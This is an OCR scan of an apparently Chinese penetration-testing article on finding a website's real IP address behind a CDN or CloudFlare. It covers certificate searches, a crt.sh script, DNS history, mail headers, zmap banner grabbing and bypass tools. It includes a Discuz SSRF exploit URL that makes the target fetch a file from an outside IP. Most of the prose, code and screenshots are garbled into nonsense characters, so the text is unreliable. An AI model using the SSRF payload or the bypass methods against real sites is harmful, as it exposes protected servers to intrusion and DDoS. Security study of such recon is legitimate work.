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AR, EEal SSRF. XXE. XSS, X LEERE,
ERAFNEMEREO, EAESHA]E SRS IR
payload, AEEMRSEE LIGENNEIAE,

5. SSL ifH

R www.wangsu.com HEET—THRS, RiBRS 28
IP 2 136.23.63.44, T wangsu AR DDoS 1R3F,
Web NAERFBEXIEERS, MRIPIRNERSZRZRE.
AL, {REY Web BRSBEB|BMANIZIF SSL HEFIEH.
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A RENIREERAMEERSIZE, B REE T EHRK
W, Censys ®FFEBAMFTAER ip #THEMER, NURIE
HIFN, &Binb=AE https 1B, HFEBIAEBENET
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4N :
443.https.tls.certificate.parsed.extensions.subject_alt_na

me.dns_names:www.baidu.com


http://www.wangsu.com/
https://censys.io/ipv4

o
:h-"' Cel'lsy! NN 443 hetps tls cortificate parsed extensions subject_alt_name dns_names-www baidu com

E Results 9 Map i Metadata |& Report 8

Quick Filters. IPv4 Hosts
For al i, bew D e Page 11 Desune 21 Tire 2Sme
Auonomous System: A 218.93.206.14
15 CHINANET-BACKEONE CHINANET-BACKBONE Mo.31 Jin-song Sweet (4134) angsu, China
No.1.Jin-fong Street LBty 2/ssh, 443/hitps
2 CMNETVATIARINAS- o www baidu com
AP tianjin Mobila 443 Ftspa tla cest b _name: www . baidu.com
Communication
Company Limited L2 23.95.218.88 (23-95-218-88-host colocrossing.com)

2 CRNET_BLIDC-CHINIC-
AP China Tietang
Telecornmunication

# ASCOLOCROSSING - ColoCrassing (36352) & Buffalo, New York Urited States
110/pop3, 143/imap, 21/fp, 28/smip, 3306/mysd, 443/Hitps, 465/smp, S87/smip, BO/MIR, 993 maps, 995/popds
Index of / baigu.com, mad baigu.com, www baidy. com

Coeparation
1 ASOOLDCROSSING - 443 ityps: s centificate parsed extensions. subject_sh_name dns_names: waw baidu com
ColoCrossing
1 0WH
£ 178.32.167.151 (ip151.1p-178-32-167.eu)
Protocol OVH (16276) France
21 AdIMpe 110/pop3, 143/imap, 21/fip, 22/ssh, 3306/ mysql. 443/hitps, 485/smitp, S87/smap, BO/Mitp, 993/ imaps
'y Snaly EM Everything Homepage Twe Columng Left & baidu.com, mail baidu corm, wwvw.baidu eom
2 110/pop3 443 https s centificate parsed extensions. subject_al_name dns_names. wew, baidu.com
2 1a3amap [ oarasase T wvsoc ]
2 nitp
B More 2111.32.143.52
CMNETVATIANJIN-AS-AP tiangn Mobie Communication Company Limited (38019) China
443/ tps

txkj, 111.32143.52, 111.32.143.52443
443.hitps. 1ls certificate parsed extensions. subject_alt_name dns_names: waw baidu.com

0 183.131.161.66
CHINANET-BACKBONE No.31 Jinrong Street (4134) Wakan, Hube, Ching

TE—MAR, #EHEE SSL IiFPH Hash, REER ip &
EIFEF hash, WRCEZIERE, ERXT ip BB T
g2 ERIEBAIRSEZESE ip

sk, #MEEH 0.0.0.0/0:443, @iT ip &E#E https
N, *ERIED

L8R, WA LAA censys &5(|%
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i= Results § Map i Metadata |l Report @ Docs

IPv4 Hosts
\Definitions Page:1/1 Results:1 Time: 115ms
m: 3 218.93.206.14
{ET-BACKBONE @ CHINANET-BACKBONE No.31.Jin-rong Street (4134) Jiangsu, China
in-rong Street Ubuntu 22/ssh, 443/https.

www.baidu.com
443 https.Us.certificate.parsed fingerprint_sha256: 2e88b4522a3be9c56d805fc4c54649f8ccc792c1885168359dac2e247504417

BR—TMESIEPAIMIL:
https://crt.sh
— NI, ATARIRIEEIEP

# -*- coding: utf-8 -*-

# @Time : 2019-10-08 22:51
# @Author : Patrilic

# @FileName: SSL_subdomain.py
# @Software: PyCharm



import requests
import re

TIME_OUT = 60
def get_SSL(domain):

domains = []

url = "https://crt.sh/?g=%25.{}'.format(domain)

response = requests.get(url,timeout=TIME_OUT)

# print(response.text)

ssl = re.findall("<TD>(.*?).{}</TD>".format(domain),respo
nse.text)

for i in ssl:

i += + domain
domains.append(i)
print(domains)

if __name__ == "'__main__":
get_SSL("baidu.com™)
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http://research.domaintools.com/research/hosting-
history/

http://site.ip138.com/
http://viewdns.info/iphistory/
https://dnsdb.io/zh-cn/
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https://who.is/domain-history/
http://research.domaintools.com/research/hosting-history/
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http://viewdns.info/iphistory/
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https://tools.ipip.net/cdn.php
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N AFERRFERPHMANIGER, AG1R Enter §2H]
8], XA “THSEEURE" R ATEAMIAISE R E,
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e SSRF
SSRF i, ARS5ESEnImIMNRIEEERE, HWEHEX IP
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4N DZ SSRF i®ilE exp A:
http:// &% / forum.php?
mod=ajax&action=downremoteimg&message=
[img=1,1]http://13.250.114.92:3319/aq9w.jpgl/im
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o MXIiCXx
BEARRIE:

MaEEMNEILBIR Web fRE23@HA]E SRS 2
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EIEREES Y
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https://www.virustotal.com/
https://x.threatbook.cn/
http://viewdns.info/
http://www.17ce.com/
http://toolbar.netcraft.com/site_report?url=
https://tools.ipip.net/cdn.php
https://securitytrails.com/
http://xn--eqrt2g/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg=1,1%5Dhttp://13.250.114.92:3319/aq9w.jpg%5B/img%5D
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ﬂ]TL/{lTIﬁIE*THE , BIEMKF, (£ “Tic&g”
IheE, EITMWEL =&...... B2, BAIEBINE
IEERABATRE—HERME (XMIHR THATRIAE

F3 Burp Collaborator)

3. WKEIEMEFE, EATTABERBRNE, 1$HlHS
AOEBEEL, ek FEAWNARAE P il, 8EF5
B, XEERRAESIEERSEX. AF, BEI1A
M= X et 58 B AR .

Rocoived: from maild3d.jd.com (unknown [36.110.177.123])
by m ng.com (fewMs] with SNTP id

; Sat, 05 oot 2019 21:55:37 +0800
e TP Tv4

for
A-QQ-FEAT: XuJUSU=CELTNC:

4CURD{ErTOYC LadKe X x-neguyuuzaor.m!kuajpw rITTRAhS ENE10yhIWTkvIg
FBja i iQTowFv TW! /CIfhe Jae
FEXQ/pl2Inluvaxbaba V9 J Tl 4r_~m'zzmwl

ok QUWZHEIBEmg==

EkA114 jgVeE s iRuendy TCT20nlzPToG] pLBC+ TYCE

fWim)1XLEWSCItBDIAL BT502xowH I MO0 KRBV ] InD j£Er 9n
IwL

2CAVHhRTSRitH/kuRTTa
H-Q0-MAILINFO: MAGZhSSynll1E
TEMph+ lz!nnprl’.ll‘mn‘x

k9Is+1MBuURY
H-QQ-mid: MJTtISTU??O?JSt!nO rxi
X-Q0-0RGSender: custoner_servied jd.com
DRIM-Signatures H ha56; q=dns/txt; c=relaxed/simple; t=1570290937;
s=leo; d=jd.com; i=leclid.com;
h=Date:From: To:Message-10:Subject :MIME-Version:Content-Type:Content-Transfer-Encoding;
bh=3TZEFRgrXSuixn j46gPYirpt J1nkdiwl JeCrUdhTugo=;
bekmuy4 /tAndOpok/ £ 2WivCiSeTn kIzkejwl
Cgjc x.sut.vnjubJ.wnr.Dql.snp:raaamm
GXy250npInd4niBAKAVDIKDD S idFqu 2 nohid 6RE=
Date: Bak, 5 Oct 2019 23:55:37 +0800 (C3T)
From: =g SLicEkQuYZIti= _serviceljd.con>
Tos 1L F338qe
Message-ID: <9629=!OOT 219017‘115702!0137517 Jl\rle.lLl admindhost-10- 186 50 167>
Subject: =7UTF-8
?\ﬂ‘l' -BTBTR LogRuDAke! Sjocatm .f:uaccuv-?
=20TP- Iy 5 54q256CR7 TyRi=
MIME-Versiom: 1.0
Cont Type: text/html
Content-Transfer-Encoding: guoted- prinublﬂ

<IDOCTYPE html PUBLIC *-//W3C//DTD XKHTML 1.0 Transitional//EN" "http://fwww.=
wl.org/TR/xhtsll/DT0/xhenl1-transitional .ded">
<html xnlns=30"http://vww.wd.org/ 1999/ xhtml ">

<head>=20

<meta http-equiv=3D'Content-Type" content=3D*text/htnl; charset=iDutf-g >=
ao

<titl 7= T=9A=B4=E8=
=AE=AZ=ES=ED=35=E3=80=30104599 st vm Ei=f0= 91I"EPIBCIN’_"E&']L"]ZFBBIHEIGEIE&I
I=Bb=8
=BL=EF=BC=B1</title>
<fhead
<body><l-~ vebmail_open _begin --><table style=3D'displayinone;’ widthedp 1=

' height=30"1'><trr<td> <img width=3D'l' height=3D'1' svew3n'be
com/ fump/ooen? tuno kid=301554jumo klid=30B2208ifump catewavurl: -JD!102909!41-

e RSS
SZ
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RENAIN—TFFRERANRE.
ETMAZEREE, BRERFENBIR FEE, EiIRA,
cdn BR T BERSTE ip, FIREREREIDERE,
NZBAEY cdn EARFMEE, S cdn EXREIAE,
ZSNMERRENENMEATRESERESE ip,
I —> WSERIEE —>cdn MER —> FiRRSE,

9. EMIHHE

o htthe://Aaithiith ~cam/RvnlNit/vedn


https://github.com/3xp10it/xcdn

Mol 7 QTR TN GIITNH MAN TERS AATAT T

e https://github.com/boy—hack/w8fuckcdn

10, KEIXE

EREBENNR, S8XA0ERE, AIREEMNERS IR

=
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1. 3EE banner

SREXE ARG R A8Y banner, EEWERSIELER, tWAIUE
F3 AQUATONE, 7£ Shodan H1$ZEREIIEELS.

A LUEIT B AR KE 20T 1P 23, Tt BintX P,
B Web ARZHY banner FAESTEE CDN A9 banner, A]
BAFRER 1P,

BRI -

http://ftp.ripe.net/pub/stats/ripencc/delegated-
ripencc—latest

JbEE:
https://ftp.arin.net/pub/stats/arin/delegated-arin-
extended-latest

AEM -
ftp://ftp.apnic.net/public/apnic/stats/apnic/delegated
—apnic—latest

M-

ftp://ftp.afrinic.net/pub/stats/afrinic/delegated-
afrinic—latest

hIE:
ftp://ftp.lacnic.net/pub/stats/lacnic/delegated—lacnic—
extended-latest

SREX CN B9 IP
http://www.ipdeny.com/ipblocks/data/countries/cn.zo
ne ,
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EIBinhRSEE IP e, AIMMERATEALE , F4
zmap. masscan 131 HTTP banner, ZAGILECEIB ARt A
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https://github.com/3xp10it/xcdn
https://github.com/boy-hack/w8fuckcdn
http://ftp.ripe.net/pub/stats/ripencc/delegated-ripencc-latest
https://ftp.arin.net/pub/stats/arin/delegated-arin-extended-latest
ftp://ftp.apnic.net/public/apnic/stats/apnic/delegated-apnic-latest
ftp://ftp.afrinic.net/pub/stats/afrinic/delegated-afrinic-latest
ftp://ftp.lacnic.net/pub/stats/lacnic/delegated-lacnic-extended-latest
http://www.ipdeny.com/ipblocks/data/countries/cn.zone

root@kali:~# zmap —p 80 —w bbs.txt —o 80.txt

IRE http-req, FHEIRENUTRIE:

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gec
ko/20100101 Firefox/66.0

Host: %s
P Mtp-req an E -]
GET / MTTP/1.1 E‘ )
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWG4: rv:66.8) Gecko/20100101 Firefox/66.0

Host: Ns

{£M zmap K banner—grab 33133 HE 80 IO FFALAIE
34T banner MEY,
root@kali:~/zmap-1.2.1/examples/banner—grab# cat
/root/bbs.txt |./banner—grab-tcp —p 80 —c¢ 100 —d http-
req —f ascii > http—banners.out
RIENIGIRE E4FE, HTHIAEDIR

location: plugin.php?id=info:index

et g | i Lesangestarrer 58 eoae

DOCTYPE HTHL, PUBLIC TETe//oTD L 7. 0/
- EAT GuI AeN WET ART WD
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Httpo./ 7/ yluiuu.CUltl/ Zhiapy/ £ idpy
2. Masscan S#iERIRNEBKNIRO3HEE, RIRPTAE
ANOHREFEERRM,
https://github.com/robertdavidgraham/masscan
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MF&idHl, mIBEAR{ER CDN, AR LB EZIRERS

Z2AE ip,

{5180 patrilic.top > patrilic.com
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#8Z& CDN
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13. favicon_hash [CEg

F A shodan B http.favicon.hash i&i%, 3EITEZ icon B9
hash 18, Bi&i#:
https://github.com/Ridter/get_ip_by_ico/blob/master/g
et_ip_by_ico.py

14, CloudFlare Bypass

3t CloudFlare &F Wif#{TESE IP &1
(EAREZMIGEERA CloudFlare 121%f9 CDN IRS)
o BIT7ELZL MUY CloudFlareWatch:

http://www.crimeflare.us/cfs.html#box

o —55H CloudFlare BYEEE Ruby R4S, AJLA&LIL
RRYESE P bt
https://github.com/HatBashBR/HatCloud

e CloudFail E—MEAMETH, EGERERXZ
Cloudflare RIFIBERRIEIZER, NHLIIARS
ERIIE:
https://github.com/mOrtem/CloudFail


http://www.crimeflare.us/cfs.html#box
https://github.com/HatBashBR/HatCloud
https://github.com/m0rtem/CloudFail

e CloudFlair 2—#TH, ATEXRRATF LT
CloudFlare {RIFRIMISHIRIGARSE:, HERSMR
#1353 CloudFlare IP SEEIRIMZiA1a):
https://github.com/christophetd/CloudFlair

o BIIA DNS [HRICREIRLAIE:
https://g|thub.com/V|ncentcox/bypass—
firewalls—by—DNS-history

o REFENRAY cf, FATILAEE DDOS KIBFEX H IR
=, /\ﬁ'ﬁgTEMLETTJ‘E MEELREIRA ip
AEFIF cloudflare BJER host IR [E] 7R3l
https://blog.detectify.com/2019/07/31/bypassin
g—cloudflare—waf-with—the-origin—server—ip—
address/

BELTIHEENNEA, FATeIAEE HOST S+ i
TEREX ip, EAEXEAIF

15, EEASHSHGE

=B E CDN WifR, BERETEEHA. iﬁ"ﬁl] % , B
IVINBECEM A 5 S5 CDN [hirs
o Ef1: NTHEAFIAE, ?*ZTI].%.%J%?
www.test.com # test.com B ZIE—NibS, T
CDN RECE T www.test.com, &@idijlg)
test.com, FEILAZET CDN T,

o X 2: UhSERHF http ] https 158], CDN R
Bo& https MY, BBAXAIIEE) http BRI AR 5 5%
ﬁo

16, APP
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hosts M {FE&1Z:
C:\Windows\System32\drivers\etc\hosts
ERRBENT:

# Copyright (c) 189%3-2009 Microsoft Corp.
#

# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

#

# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should

# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.

#

# hdditicnally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.

#

# For example:

#

# 102.54.84.97 rhino.acme.com # source server
# 368.25.€3.10 ¥.aCcme.com # x client host
# logalhost name resolution is handled within DNS itself.

# 127.0.0.1 rocalhost

# os1 localhost
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